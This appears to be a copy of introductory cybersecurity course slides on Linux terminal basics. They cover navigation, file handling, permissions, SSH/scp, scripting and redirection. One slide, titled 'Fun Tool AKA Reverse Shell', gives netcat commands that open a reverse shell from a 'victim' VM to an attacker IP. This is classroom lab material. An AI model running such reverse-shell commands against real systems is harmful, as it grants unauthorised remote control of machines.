We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
You are on page 1/ 28
CY2550 Module 3
Basic Terminal Command and Basic Networking
Command line Terminal • Type commands to interact with the computer. • The computer offers feedback by printing text to the screen. • Command line is very powerful, it is still actively being used for many features within your computer. • Faster and more precise, things can be copy/pasted, reviewed later. • Anything that you can type within terminal, you can transform it into a script that executes multiple tasks at once. Terminal/Command Line/Shell • They are referring to the same thing – the black box with blinky cursor • The prompt itself has some useful information: • The line before the dollar sigh tells us a few things • It follows the order of xxx@yyyyyyyy where xxx is represented by the name of the user while the yyyyyyyyyyyyy represents the name of the computer. • Why do we need to know which computer this is? • We will be using SSH which is a way for us to remotely accessing a device. Getting Oriented • There is a concept of current working directory, this tells you where you are. Anytime you are typing in a command, you are doing so relatively in the directory within a file system. • If you ever want to know where your current directory is at any point, type in PWD and it will print out your current directory. • If you want to see what is all in the directory you are currently in, use the command ls which shows the things within the current directory. • You can convince yourself that you are correct by going to the file browser Getting Oriented Cont • The content of the directory in terms of folders and files are in sync with what you see on the command line, because you are at the same directory location. • If you want to move around to different location or different directory, you will use the command cd location. • Try to change your directory to the root, which is represented by / • Once you do this, you should see that you are in slash, instead of tilda. • If you do ls, you will see a bunch of other things. • If you go to file browser -> other location -> computer, you will see the root. File system structure • Linux order file system a little bit differently. There are no C/D/E/F drives, there is only one drive. • If you insert USB drive, it shows up underneath media as a separate folder. • Now let’s return back to your home directory at /home using cd • Check the working directory and then look for the items in directory. • Change to your user folder using CD Creating a directory/file • Use the command mkdir to create a folder, you can specify the name of the directory using mkdir name-of-folder • You can also use touch to create a new file: touch file-name • You can also copy files within system using cp the syntax is cp name- of-file new-name-of-file. (cp test test-new) • You can also move things using mv, this is the command for you to move things around and rename files if you wish. • Mv file-name new filename or mv filename /location/file-name • Mv also works on directories. Copying a directory… • Let’s say we want to copy a directory in its entirety, this is a bit more complex than copying a file. • Cp directory-name/ backup-of-projects • This will get you a error message indicating that you did not specify –r, thus omitting the operation. • The cp –r changes the behavior of copy command to copy recursively. • If I do cp –r class-projects/ backup-of-projects/ Delete things • Using the command RM file name to remove files • Similarly , if you try to remove a directory, it gets a little bit more complex. • When you delete a directory, there may be other directory or files within it. If you want to delete a directory, you have to give it the –r option to make it a recursive delete. • If you do rm –r class-projects it works and should remove that directory. Directories and how to navigate the file system • When we move around the system using shell, we need to provide the full path of destination. • This works but is not necessarily convenient. • Instead of typing fully qualified path, you can also do cd cbw or cd home • Tilda is the home directory shortcut • If you use cd ~ it takes your back to your home directory • If you use single period, it stays where you are. • If you use double period, it takes you back one directory. • If you are in home/username and type in cd .. You will end up in home/ Linux Built in Help System • Linux offers a help system that allows you to obtain help on commands, it is called the man pages for manual. Syntax is man • If you have a particular command that you are concerned about, you can do man name-of-command (e.g man ls) • This offers you help information about the command. • It also offers parameters that you can give to ls to change its behavior. • Ls –a (shows all files, including hidden files) • If a file name begins with a period, it is considered hidden and will not be shown by default. • LS –l presents directory as a list and meta data of each folder Useful shortcut • Occasionally, you will not see me type out the entire command, because I am using a shortcut. • If you press up and down arrow, it will access your command history. • This allows you to go back to your previously executed commands and repeat the action if needed. • Another helpful shortcut is the tab key • Instead of typing directory and names in full, if you type it in partially, press tab, it will automatically complete the entry for you. Read and write file • Using touch my-notes.txt – this creates the file • You can use nano/vim/emacs or any text editor (nano my-notes.txt) • If you type something and you have finished, press control O to save it, and then ctrl X to quit. • You can use cat, the concatenate feature to display the content of a file. A tiny bit of networking… • You can get remotely connect to a machine • You can use the virtual machine you have and remotely connect to another machine and execute commands on there. • You can use the khoury linux by doing a secure shell to login.ccs.neu.edu. • The idea of ssh is to login to the machine and provide the user a terminal. • The first time you login, you will receive a message regarding cryptographic key, you can press yes. • This allows you to sit at your computer, using the terminal to access a different machine/remote server. You can also copy file from remote machine • You can use the command scp to copy files to remote machines. • Scp my-notes.txt login.ccs.neu.edu:/home/hawang • It will ask for your password, then you will see a transfer bar • Now let’s ssh into the remote machine and see if it arrived. • Then do a cat to see the content. • Now, you are fully equipped to maneuver around the file system. File permissions • File permission in Linux revolve around users, groups and others. • When accessing files, these are permission that determine whether you have access to those or not. • Each user account can be part of different groups • Use groups command • If we go to a directory and do ls –l we can see the permission of items • The first column represent the user who owns the file • The second column is the group that owns the file. • By default when you make the file, the file will be owned by you and your group. File Permission Metadata • What about the dashes, the r, the w and the x? • R stands for read permission • W stands for write permission • X stands for execution permission • The first three digits are permission associated with owner • The second group of three are associated with the group • Anyone within the owner group has these permissions • The third group are the permission for others, meaning anyone else who aren’t the owner or within the owner group File Permission Changes • If we have execution and read file permissions, we can run it, read it but not write it. • When we need to modify file permission for things we own, we can use the command chmod • The syntax is chmod ugo (u= user g=group o=other) –(+)w file name • To make things executable, you can do chmod ugo+x names • Lets make a directory and test things out • The execute/read permission directory allows you to see what is in there • The first letter d represents that this is a directory. Changing Permission Continued • There are other ways to use chmod –octal syntax • You can use chmod 777 test/ which sets all the permissions • Or you can use chmod 770 test/ • If you are ever confused, you can use the man page. • Changing ownership and group information for files. • Chown = change owner • Chown cbw:cdrom names (from:to names) • If you assign it to a group that doesn’t exist or you are not a part of, it wont work. • Most user accounts are not allowed to change file owners. Fun Tool AKA Reverse Shell • Have two virtual machines • In the attacker (Ubuntu) type in nc –lnvp port# -s IP address • (i.e nc –lnvp 8888 –s 23.239.11.177) • In the Victim (kali) type in nc –e /bin/bash IP address of kali port • (i.e nc –e /bin/bash 23.239.11.177 8888 Scripting • Let’s say we are doing a series of commands repetitively. • When you write a script, you can combine them all together and execute it once and for all. • Open/create a text file • Start with #!/usr/bin/bash to tell the OS what language the script is • Echo “this is my script” • Ls –l • Touch new-file-v2 • Each line of the entry is a separate command to be executed. Scripting Cont. • Once the script file has been created, you can use chmod to change the permission of the file. • Once you finish the permission of the file, you are now ready to execute the script. • However, if you do not specify a path, it looks for the script in the system directory, where all normal utilities are located. • You can use the ./my-script to run the program • The reason why you need to do that is because you need to tell the Linux system where your file is in order to execute it. Relatively More Advanced Scripting • You can accept input from the command line through your script. • Start with the #!/usr/bin/bash • Type echo “Received $# args on the command line” • Type let “i=1” • For arg in “$@” • Do • Echo “Arg $i is $arg” #this prints out the argument and the value of argument • i=$((i+1)) #increment I and repeat the loop. Done This is setting up a loop that goes through the arguments in $@ which contains all the command line arguments that got passed into the script. One more script • You can use different language to write the script if you’d like. • We can use #!/usr/bin/env python3 • Import sys • Print(f’Received {len(sys.argv)} args on the command line’) • For I, arg in enumerate(sys.argv): Print(f’Arg {i} is {arg}’) • In bash, the first argument is the name you specified, in python the first argument is the name of the program. • You have perl, ruby lua, php, python, bash, there are many options! Mini-Exercise: • Let’s assume you are using ssh and connecting to a remote machine. • I want you to write a script that does the following things: • Display on the command shell that “Hello World! This is a test script” • Run the commands that displays the current working directory and list all items within the current directory in list mode with permission. • Create a new file name new-file-v2 and then create a directory that is named ScriptTest • Move the new-file-v2 into the ScriptTest directory • Display on the command shell that you are done. • Terminate your connection through ssh. Complex input and input/output redirection • When you specify input, you can use quotes (“” or ‘‘) to group arguments before passing it to the operating system. • Try running the print-args program and pass in several parameters into it (e.g pass in Cybersecurity “CY-2550 Fall” and something else) • When running the script by passing in tilda (~), it will translate the special meaning and output the meaning (in this case the home directory path). • When running the script by passing in * (wild card) which prints all files within the current working directory. • You can escape the character by leading with a slash (\). Complex Input • We have discussed the cat command where we can use to view the content within a file without opening the file in editor. • We can now combine that with the pike command (|) which chains the commands together. In this case, it sends the output of a file to another program • (cat names | sort) or (cat names | sort | uniq) or cat names | sort –r | uniq • The ps program prints out the name of the running program. • We can pass in –aux to see all information for all processes from all users • Lets say we are particularly interested in a specific entry, we can use grep to search for it • Ps –aux | grep bash Input/Output re-direction • You can redirect the input/output of a command into a file using “>” • The “>” redirect the messages sent to STDOUT (1st stream) • If you do ./stdio-demo Hello World 2> log.txt it will redirect the message in STDERR(2nd stream) to the output file. • If you do ./stdio-demo Hello World &> log.txt • In the case where you want to append instead of replace, do >> instead of > • You can also do ./stdio-demo < input.txt, this takes the content of the file and send it into the demo script as an input.